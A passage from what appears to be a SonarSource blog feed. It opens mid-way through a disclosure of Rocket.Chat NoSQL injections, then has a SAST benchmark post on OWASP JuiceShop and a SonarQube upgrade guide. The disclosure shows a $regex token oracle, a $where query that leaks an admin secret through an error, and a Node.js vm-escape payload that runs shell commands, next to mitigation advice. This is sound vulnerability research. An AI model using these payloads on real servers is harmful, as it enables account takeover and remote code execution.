 9       if (!user &amp;&amp; !Meteor.userId()) {
10           throw new Meteor.Error(&apos;error-invalid-user&apos;, &apos;Invalid user&apos;, {
11               method: &apos;getPasswordPolicy&apos;,
12           });
13       }
14       return passwordPolicy.getPasswordPolicy();
15   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;The &lt;code&gt;Users.findOne()&lt;/code&gt; method in line 8 queries the users collection with the provided query object and returns the first match. Since an attacker can provide &lt;code&gt;params.token&lt;/code&gt; as an object, they can use MongoDB’s &lt;code&gt;$regex&lt;/code&gt; operator to check if a token begins with a certain character. To check if a token begins with an uppercase &lt;code&gt;A&lt;/code&gt;, the query would look like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Users.findOne({
    &apos;services.password.reset.token&apos;: {
        $regex: &apos;^A&apos;
    }
});&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;This can be used to create an oracle that can tell whether a token begins with a certain sequence of characters or not. When the query matches a user, the server’s password policy is returned, but when it does not return any result the method returns an error. An attacker can repeatedly make guesses and observe the oracle’s response to see if our guess was correct, until the whole token is known.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Exploitation of this vulnerability works like this: an attacker requests a password reset for a user using their email address, uses the oracle to leak the newly created token, and finally uses that token to change the user’s password. This enables access to more attack surface because authenticated users, while having no special privileges, can use a lot more of Rocket.Chat’s features.&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;NoSQL Injection #2: Elevating Privileges&lt;/h3&gt;&lt;p&gt;Taking over a user account with the previously described NoSQL injection was noisy: the user got a password reset email, was logged out, and cannot log in because the password was changed. If that happens to an admin they would likely investigate and detect the attack. Also, admin accounts are probably more likely to be protected by two-factor authentication (2FA).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So in order to elevate privileges, an attacker can use a second vulnerability: Rocket.Chat Security Issue 0025. It requires authentication, but has more impact: it can not only be used to leak a user’s password reset token, but any field of any user in the database. Here is how it works:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;users.list&lt;/code&gt; API endpoint takes a query parameter from the URL which is then used to query the users collection. Documents in that collection contain fields that should not be accessible by everyone, which is why the query is filtered by using a blocklist that removes certain fields from the query and the result.&lt;br/&gt;&lt;br/&gt;&lt;a href=&quot;https://github.com/RocketChat/Rocket.Chat/blob/f2817c056f9c063dd5f596446ef2e6c61634233b/app/api/server/v1/users.js#L223-L246&quot;&gt;&lt;strong&gt;app/api/server/v1/users.js&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;223   API.v1.addRoute(&apos;users.list&apos;, { authRequired: true }, {
224       get() {
...           // …
230           const { sort, fields, query } = this.parseJsonQuery();
232           const users = Users.find(query, { /* … */}).fetch();
239           return API.v1.success({
240               users,
...               // …
244           });
245       },
246   });&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The filtering only considers actual fields that could be queried, but not top level MongoDB operators. The general drawback of using a blocklist approach for validation is that it is easy to miss something. Using an allowlist to explicitly permit known values is more effective at preventing such issues.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To bypass the filter, the &lt;code&gt;$where&lt;/code&gt; top-level operator can be used which takes a JavaScript expression and executes it for each document in a collection to decide if the document should be contained in the result set or not. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This sounds like Remote Code Execution (RCE) but the code is executed inside the MongoDB process and is very restricted, it can only access the fields of the current document and there are no APIs that allow interaction with the outside world. But it still allows for more flexibility when exploiting this injection.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At first we thought this would be another case of a Blind NoSQL Injection where we would make incremental guesses to observe responses, because the result set is always stripped of any sensitive fields. But then we realized that we could leak values by throwing an error inside the &lt;code&gt;$where&lt;/code&gt; operator’s JavaScript expression! The error is then passed back to the user in the API response with the full error message. An example of this is the following query that leaks an admin user’s secret:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{&quot;$where&quot;:&quot;this.username===&apos;admin&apos; &amp;&amp; (()=&gt;{ throw this.secret })()&quot;}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;The API response would then include the secret:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{
  &quot;success&quot;: false,
  &quot;error&quot;: &quot;uncaught exception: aHR0cHM6Ly9iaXQubHkvM3VQclgwUA==&quot;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;With this technique, an attacker can find an admin account and leak their email, password hash, and 2FA secret. They then request a password reset, leak the reset token, and perform the reset just like before. After that, the attacker can log in with the new password and the 2FA codes that can be generated with the secret. After achieving RCE (which we will cover in the next section) the attacker can restore the admin’s original password hash so that the admin can still log in and is less likely to notice the attack.&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;From Admin to Remote Code Execution &lt;/h3&gt;&lt;p&gt;At this point, the attacker has access to an admin user, which already has a huge impact. To determine the severity of this we wanted to know if it is possible to gain Remote Code Execution capabilities, so we spent a little more time researching.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Rocket.Chat has a feature called &lt;em&gt;Integrations&lt;/em&gt; that allows creating incoming and outgoing web hooks. These web hooks can have scripts associated with them that are executed when the web hook is triggered. They are run using the &lt;a href=&quot;https://nodejs.org/api/vm.html#vm_vm_executing_javascript&quot;&gt;&lt;em&gt;vm&lt;/em&gt; module&lt;/a&gt; of Node.js which might sound safe to use but is explicitly declared to not be a security mechanism. A script that runs inside a VM context has no access to system resources per default, but there are easy ways to break out.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To escape a VM context, the attacker has to get access to objects from the parent context. In this case there are multiple objects and functions passed to the script as arguments which can be used to access the parent context’s function constructor to create a new function. Any functions created with that constructor will inherit its context, regardless of the context they are executed in.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In order to execute system commands on the server the attacker creates a script that will get the &lt;code&gt;require()&lt;/code&gt; function of the parent context and uses it to load the &lt;code&gt;child_process&lt;/code&gt;module which contains an &lt;code&gt;exec()&lt;/code&gt; function:&lt;br/&gt;&lt;br/&gt;&lt;strong&gt;payload.js&lt;/strong&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1   const require = console.log.constructor(&apos;return process.mainModule.require&apos;)();
2   const { exec } = require(&apos;child_process&apos;);
3   exec(&apos;echo pwned &gt; /tmp/proof.txt&apos;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;This concludes the exploit chain, starting with just the email address of a regular user, ending with the capabilities to execute arbitrary commands on the server. It shows the dangers of NoSQL Injection vulnerabilities and how important it is to validate all user inputs. SonarQube and SonarCloud can help you to identify different types of injection vulnerabilities in your code automatically.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Mitigation&lt;/h2&gt;&lt;p&gt;Vulnerabilities like the first one are easy to fix. The input should only be a string, so adding a type check is the way to go. This form of validation should be applied in each location that handles JSON user input.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The second vulnerability is more complex, because users should be able to provide a query object, where some fields and operators should work while others are forbidden. To get this right, it is important to validate the user input as strictly as possible.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Restrict the usage of operators. If there is no need for operators at all, then deny user inputs that contain any. If some operators are required, make sure that they cannot be used to leak any data, e.g. with &lt;code&gt;$regex&lt;/code&gt;. Especially top-level operators like &lt;code&gt;$where&lt;/code&gt; are dangerous, because they can be used to bypass other restrictions, like seen in the exploitation of the second vulnerability we presented. It can be &lt;a href=&quot;https://docs.mongodb.com/manual/reference/operator/query/where/#javascript-enablement&quot;&gt;disabled entirely in your database configuration&lt;/a&gt; if it is not needed.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Prefer allowlists over blocklists because it is easy to miss something. Even if your blocklist is correct at the moment it can become insufficient when new operators are added in a future version of the database or when the data structures of the application change. Only allow fields and operators that are known to be safe, deny all others.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, keep in mind that it is not enough to simply restrict the projection, i.e. the data that is returned from the query. Blind or error-based NoSQL Injections can still be used to leak that data, as we have demonstrated with our exploits. It is important to also restrict the fields that can be used in a query.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-03-19&lt;/td&gt;&lt;td&gt;We report detailed advisories for the NoSQL Injection issues via HackerOne&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-03-22&lt;/td&gt;&lt;td&gt;Vendor confirms the vulnerabilities&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-04-14&lt;/td&gt;&lt;td&gt;Vendor fixes the NoSQL Injection issues and releases new versions (3.13.2, 3.12.4, 3.11.4)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post we analyzed two code vulnerabilities found in &lt;strong&gt;Rocket.Chat (3.12.1)&lt;/strong&gt;, a widely used open source solution for team communications written in JavaScript. We outlined how NoSQL Injections can be exploited, and how they can lead to a complete takeover of a Rocket.Chat instance. We also explained how to prevent these kinds of vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We reported these vulnerabilities to the vendor in March 2021. They confirmed and fixed the vulnerabilities quickly and the communication with them went smoothly, so kudos to Rocket.Chat security team! If you are running Rocket.Chat, we highly recommend updating to the latest version.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[What to expect from JavaScript/TypeScript analysis on OWASP JuiceShop]]></title><description><![CDATA[In April 2021, we updated our JavaScript and TypeScript SAST engines to explore more execution flows, increase performance and improve overall accuracy. It now goes far beyond what we did in the past for these languages. With this post, we’re going to tell you what you can expect for these languages, and more specifically which vulnerabilities can be detected.]]></description><link>https://www.sonarsource.com/blog/what-to-expect-from-analyzing-owasp-juiceshop</link><guid isPermaLink="false">136446d7-84d2-5370-9137-55ff1ea4188f</guid><dc:creator><![CDATA[Alexandre Gigleux]]></dc:creator><pubDate>Wed, 12 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In April 2021, we updated our JavaScript and TypeScript SAST engines to explore more execution flows, increase performance and improve overall accuracy. It now goes far beyond what we did in the past for these languages. With this post, we’re going to tell you what you can expect for these languages, and more specifically which vulnerabilities can be detected.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While working on improving our engine, we struggled to find a publicly available benchmark for JS/TS that could be used to assess the power of our engine. On Java, it was easy; the OWASP Benchmark is public and well-known. But for JS/TS, it’s almost an empty landscape.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We finally decided to rely on a famous training app called &lt;a href=&quot;https://github.com/agigleux/juice-shop&quot;&gt;&lt;strong&gt;OWASP JuiceShop&lt;/strong&gt;&lt;/a&gt; which is written in JS/TS. It wasn&amp;#x27;t designed to test SAST analyzers, but to train developers. Nevertheless, we’ve adopted it as our measuring stick because it&amp;#x27;s written to demonstrate exactly the kinds of insecure code we need to find.&lt;/p&gt;&lt;h2&gt;Vulnerability Types Supported&lt;/h2&gt;&lt;p&gt;The SonarCloud JavaScript and TypeScript SAST analysis can detect &lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Security%20Hotspot&quot;&gt;39 Security Hotspots&lt;/a&gt; and &lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Vulnerability&quot;&gt;28 Vulnerabilities&lt;/a&gt;. Among them, 13 are detected thanks to our Taint Analysis technology on which we focused recently. Here is the list as a reference of 13 injection vulnerabilities you can prevent thanks to SonarCloud:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Vulnerability/RSPEC-3649&quot;&gt;S3649&lt;/a&gt;: Database queries should not be vulnerable to injection attacks&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Vulnerability/RSPEC-5334&quot;&gt;S5334&lt;/a&gt;: Dynamic code execution should not be vulnerable to injection attacks&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Vulnerability/RSPEC-5131&quot;&gt;S5131&lt;/a&gt;: Endpoints should not be vulnerable to reflected cross-site scripting (XSS) attacks&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Vulnerability/RSPEC-6096&quot;&gt;S6096&lt;/a&gt;: Extracting archives should not lead to zip slip vulnerabilities&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Vulnerability/RSPEC-5146&quot;&gt;S5146&lt;/a&gt;: HTTP request redirections should not be open to forging attacks&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Vulnerability/RSPEC-2083&quot;&gt;S2083&lt;/a&gt;: I/O function calls should not be vulnerable to path injection attacks&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Vulnerability/RSPEC-5696&quot;&gt;S5696&lt;/a&gt;: Modifying the DOM should not lead to cross-site scripting (XSS) attacks&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Vulnerability/RSPEC-6105&quot;&gt;S6105&lt;/a&gt;: Modifying the DOM should not lead to open redirect vulnerabilities&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Vulnerability/RSPEC-5147&quot;&gt;S5147&lt;/a&gt;: NoSQL operations should not be vulnerable to injection attacks&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Vulnerability/RSPEC-5883&quot;&gt;S5883&lt;/a&gt;: OS commands should not be vulnerable to argument injection attacks&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Vulnerability/RSPEC-2076&quot;&gt;S2076&lt;/a&gt;: OS commands should not be vulnerable to command injection attacks&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Vulnerability/RSPEC-2631&quot;&gt;S2631&lt;/a&gt;: Regular expressions should not be vulnerable to Denial of Service attacks&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Vulnerability/RSPEC-5144&quot;&gt;S5144&lt;/a&gt;: Server-side requests should not be vulnerable to forging attacks&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Performance&lt;/h2&gt;&lt;p&gt;A precise SAST analysis is useless if it provides results hours or days after pull requests were created. Context switching would kill your velocity. If you get results in hours, you are probably already working on something else by the time they arrive. It would cost you precious time to get up to speed on this previous activity. At SonarSource, we consider speed of analysis as a key feature of a SAST solution. We worked hard to keep analysis time under control while exploring more paths and providing more precise results. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The OWASP JuiceShop project is considered by SonarCloud as medium-sized with its 34K LOCs. It can be analyzed very quickly.&lt;/p&gt;&lt;h3&gt;SonarCloud and Local Analysis&lt;/h3&gt;&lt;p&gt;If you want to reproduce and explore the vulnerabilities we listed here, we invite you to clone the JuiceShop project and run your own scan on SonarCloud.io.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On an average machine made of an Intel Core i5 3570 @ 3.40 GHz + 16Go of RAM, scanning the OWASP JuiceShop should take less than 6 minutes.&lt;/p&gt;&lt;h3&gt;With SonarCloud and Automatic Analysis&lt;/h3&gt;&lt;p&gt;SonarCloud can &lt;a href=&quot;https://docs.sonarcloud.io/advanced-setup/automatic-analysis/&quot;&gt;automatically scan&lt;/a&gt; projects made with JavaScript or TypeScript. On this  shared infrastructure, JuiceShop can be scanned in an average of 8 minutes.&lt;/p&gt;&lt;h2&gt;Ground Truth &amp;amp; Results&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Scope&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;File&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Line&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Detected?&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;SQL Injection&lt;/td&gt;&lt;td&gt;Server&lt;/td&gt;&lt;td&gt;routes/login.js&lt;/td&gt;&lt;td&gt;29&lt;/td&gt;&lt;td&gt;Y&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;SQL Injection&lt;/td&gt;&lt;td&gt;Server&lt;/td&gt;&lt;td&gt;routes/search.js&lt;/td&gt;&lt;td&gt;14&lt;/td&gt;&lt;td&gt;Y&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;XSS&lt;/td&gt;&lt;td&gt;Client&lt;/td&gt;&lt;td&gt;frontend/src/app/search-result/search-result.component.html&lt;/td&gt;&lt;td&gt;13&lt;/td&gt;&lt;td&gt;N&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;XSS&lt;/td&gt;&lt;td&gt;Client&lt;/td&gt;&lt;td&gt;frontend/src/app/track-result/track-result.component.html&lt;/td&gt;&lt;td&gt;8&lt;/td&gt;&lt;td&gt;N&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;SSRF&lt;/td&gt;&lt;td&gt;Server&lt;/td&gt;&lt;td&gt;routes/profileImageUrlUpload.js&lt;/td&gt;&lt;td&gt;19&lt;/td&gt;&lt;td&gt;Y&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Open Redirect&lt;/td&gt;&lt;td&gt;Server&lt;/td&gt;&lt;td&gt;routes/redirect.js&lt;/td&gt;&lt;td&gt;16&lt;/td&gt;&lt;td&gt;Y&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;NoSQL Injection&lt;/td&gt;&lt;td&gt;Server&lt;/td&gt;&lt;td&gt;routes/likeProductReviews.js&lt;/td&gt;&lt;td&gt;15&lt;br&gt;
18&lt;br&gt;
25&lt;br&gt;
35&lt;br&gt;
&lt;/td&gt;&lt;td&gt;Y&lt;br&gt;
Y&lt;br&gt;
Y&lt;br&gt;
Y&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;NoSQL Injection&lt;/td&gt;&lt;td&gt;Server&lt;/td&gt;&lt;td&gt;routes/createProductReviews.js&lt;/td&gt;&lt;td&gt;15&lt;/td&gt;&lt;td&gt;Y&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;NoSQL Injection&lt;/td&gt;&lt;td&gt;Server&lt;/td&gt;&lt;td&gt;routes/order.js&lt;/td&gt;&lt;td&gt;132&lt;/td&gt;&lt;td&gt;Y&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;NoSQL Injection&lt;/td&gt;&lt;td&gt;Server&lt;/td&gt;&lt;td&gt;routes/updateProductReviews.js&lt;/td&gt;&lt;td&gt;14&lt;/td&gt;&lt;td&gt;Y&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Code Injection&lt;/td&gt;&lt;td&gt;Server&lt;/td&gt;&lt;td&gt;routes/b2bOrder.js&lt;/td&gt;&lt;td&gt;19&lt;/td&gt;&lt;td&gt;N&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Code Injection&lt;/td&gt;&lt;td&gt;Server&lt;/td&gt;&lt;td&gt;routes/showProductReviews.js&lt;/td&gt;&lt;td&gt;29&lt;/td&gt;&lt;td&gt;Y&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Code Injection&lt;/td&gt;&lt;td&gt;Server&lt;/td&gt;&lt;td&gt;routes/trackOrder.js&lt;/td&gt;&lt;td&gt;15&lt;/td&gt;&lt;td&gt;Y&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;As of April 2021, SonarCloud detects 13 of the 16 injection vulnerabilities. It means SonarCloud automatically detects 81% of all the injection vulnerabilities in JuiceShop.&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;With SonarCloud, you can make sure your Node.js / Express.js contains no injection vulnerabilities and this is proven by the scan of the famous OWASP JuiceShop project. Today, SonarCloud covers the majority of the injection vulnerabilities a developer can introduce on server-side.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the coming months, we are going to focus on client-side vulnerabilities and detect XSS vulnerabilities, in particular the ones that are highlighted by OWASP JuiceShop. Our goal is 100% detection in Juice Shop. Then we&amp;#x27;ll move on to get good results on the &lt;a href=&quot;https://github.com/ossf-cve-benchmark/ossf-cve-benchmark&quot;&gt;OpenSSF CVE Benchmark&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Note: if you are a SonarQube user, you have access to the same security engine starting from SonarQube Developer Edition 8.9 LTS&lt;/p&gt;</content:encoded></item><item><title><![CDATA[SonarQube 8.9 LTS: 3 steps to a smooth upgrade]]></title><description><![CDATA[SonarQube 8.9 Long Term Support (LTS) is officially here! Check out this list of tips & tricks on how to upgrade your environment from start to finish.]]></description><link>https://www.sonarsource.com/blog/sonarqube-lts-89-upgrade</link><guid isPermaLink="false">e78d70cf-20c3-5150-94f0-88a56fb8fc9b</guid><dc:creator><![CDATA[Brian Cipollone]]></dc:creator><pubDate>Wed, 05 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The new Long-Term Support (LTS) version of SonarQube is here! If you haven’t already, check out the &lt;a href=&quot;https://www.sonarqube.org/sonarqube-8-9-lts&quot;&gt;version 8.9 announcement page&lt;/a&gt; to learn about all of the new features and improvements. If you are the administrator of a large deployment of SonarQube, you’ll have a lot of developers excited to get their hands on the new functionality. This guide provides tips and recommendations to help minimize downtime and remove surprises during your upgrade.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To get started, reference the following resources to prepare for your upgrade:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The &lt;a href=&quot;https://docs.sonarqube.org/latest/setup/upgrading/&quot;&gt;Upgrade Guide&lt;/a&gt; provides the technical steps to follow during the upgrade process&lt;/li&gt;&lt;li&gt;The &lt;a href=&quot;https://docs.sonarqube.org/latest/setup/lts-to-lts-upgrade-notes/&quot;&gt;LTS Upgrade release notes&lt;/a&gt; highlight functional changes that you should be aware of when moving between LTS versions&lt;/li&gt;&lt;li&gt;Get the latest LTS version from the &lt;a href=&quot;https://www.sonarqube.org/downloads/&quot;&gt;Download page&lt;/a&gt;. Always choose the latest version of SonarQube LTS as it will contain critical bug and security fixes. Pre-LTS versions will no longer receive these updates.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Practice First!&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To avoid disrupting your production environment, use a backup of your production database to set up a separate instance of your current version of SonarQube. Use this staging environment to test the upgrade, observing the time it takes to back up/restore systems and complete the process. Your staging environment should have identical specs to your production system - or as similar as possible to ensure you get an accurate picture.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you are planning on introducing any changes to your SonarQube installation while migrating to the new LTS, e.g. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Changing your authentication provider&lt;/li&gt;&lt;li&gt;Upgrading server specs or OS version&lt;/li&gt;&lt;li&gt;Database software upgrade or change&lt;/li&gt;&lt;li&gt;Migrating to a cloud provider&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You should make sure all these changes are applied in this staging environment first, so you can detect any potential problems.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While you do not need a license to test the upgrade of a commercial edition of SonarQube in a separate environment, installing one allows you to run test scans to validate that everything is running as expected. If you have a support contract, you are entitled to licenses for testing purposes. Contact your Sales representative to obtain a staging license.&lt;/p&gt;&lt;h2&gt;Tune for Performance&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A SonarQube upgrade temporarily requires additional resources which will be released upon completion.  If you observe that your upgrade trial runs are running longer than expected:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The upgrade process consumes database resources (i.e. CPU, RAM, disk space) beyond what is used during normal operation and poorly tuned databases may significantly extend the time required to perform the upgrade. Consult with your database administrator to ensure the database is prepared and adjust based on your observations during trial upgrades. Reference the &lt;a href=&quot;https://docs.sonarqube.org/latest/setup/upgrading/#header-5&quot;&gt;“Additional Information”&lt;/a&gt; section of the Upgrade Guide for tips applicable to your specific DBMS.&lt;/li&gt;&lt;li&gt;Review and Update your &lt;a href=&quot;https://docs.sonarqube.org/latest/instance-administration/monitoring/#header-2&quot;&gt;memory settings&lt;/a&gt; can help speed the upgrade process. Adding additional resources to SonarQube’s Web and Search processes can help improve performance.&lt;/li&gt;&lt;li&gt;Make sure you have reasonable settings configured for your &lt;a href=&quot;https://docs.sonarqube.org/7.9/instance-administration/housekeeping/&quot;&gt;housekeeping parameters&lt;/a&gt;. You may have increased or modified your housekeeping parameters in the past. You should ensure these settings do not result in SonarQube storing closed issues, analysis snapshots and stale branches long past their value to developers. We recommend following default settings. Note that subsequent cleanup will not occur until after an analysis, so changes would need to happen prior to upgrade in your current production system.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Refresh Integrations&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While you’re upgrading your SonarQube server, take the time to make sure supporting software is up to date so your users can take advantage of the latest improvements.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Ensure that you have the latest version of the analysis scanners installed in your CI environment. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;If you are using the scanner for Maven or Gradle, the version you are using may be fixed in your pom.xml or build.gradle file.  Update these or notify Project owners that they should modify to use the latest version.&lt;/li&gt;&lt;li&gt;If you are using the scanner for Jenkins, in addition to updating the plugin itself, modify the Global Tool Configuration to add the newest versions of the SonarScanner and/or SonarScanner for MSBuild.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We’ve added and improved our integrations with many code repository platforms and CI tools. Check out the “ALM Integration” section of the &lt;a href=&quot;https://docs.sonarqube.org/latest/&quot;&gt;SonarQube documentation&lt;/a&gt; to see what’s new and how to take advantage of these.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you are using third-party plugins, review them to make sure they are still providing value and will not cause problems after your upgrade. When evaluating, consider:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Is this plugin compatible with the new version? The &lt;a href=&quot;https://docs.sonarqube.org/latest/instance-administration/plugin-version-matrix/&quot;&gt;plugin compatibility matrix&lt;/a&gt; is a great resource for this.&lt;/li&gt;&lt;li&gt;Is my organization still using this functionality? Many plugins may have been installed but never used or restricted to a small number of Projects&lt;/li&gt;&lt;li&gt;Does this plugin provide functionality that is not provided by SonarQube out of the box? We’ve added a lot of great integrations and rules to our language analyzers. Consider using SonarQube-native features to ensure the best compatibility.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If the answer to any of the above is &amp;quot;no&amp;quot;, consider removing these plugins from your installation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, if you are using the Web API for reporting and/or automation, review the &lt;a href=&quot;https://docs.sonarqube.org/latest/setup/upgrade-notes/&quot;&gt;release notes&lt;/a&gt; as some functions have been changed and deprecated APIs may have been removed.&lt;/p&gt;&lt;h2&gt;We’re Here to Help&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Keeping your SonarQube instance up to date helps your developers stay on the road to cleaner and safer code. The new functionality in the SonarQube 8 series makes a difference in code quality and code security all along dev teams’ workflow. Rehearsing your upgrade and preparing your instance for peak performance will make sure this journey continues smoothly. You’re in this with the entire SonarQube community, who’s openly sharing best-practices and helping each other on our &lt;a href=&quot;https://community.sonarsource.com/tag/8-9-lts-upgrade&quot;&gt;Community Forum&lt;/a&gt;. Feel free to join us there! And if you have a commercial support contract with SonarSource, do not hesitate to &lt;a href=&quot;https://www.sonarsource.com/support/&quot;&gt;engage with us&lt;/a&gt;, we will be happy to guide you in getting maximum value from this new SonarQube LTS.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[PHP Supply Chain Attack on Composer]]></title><description><![CDATA[We recently 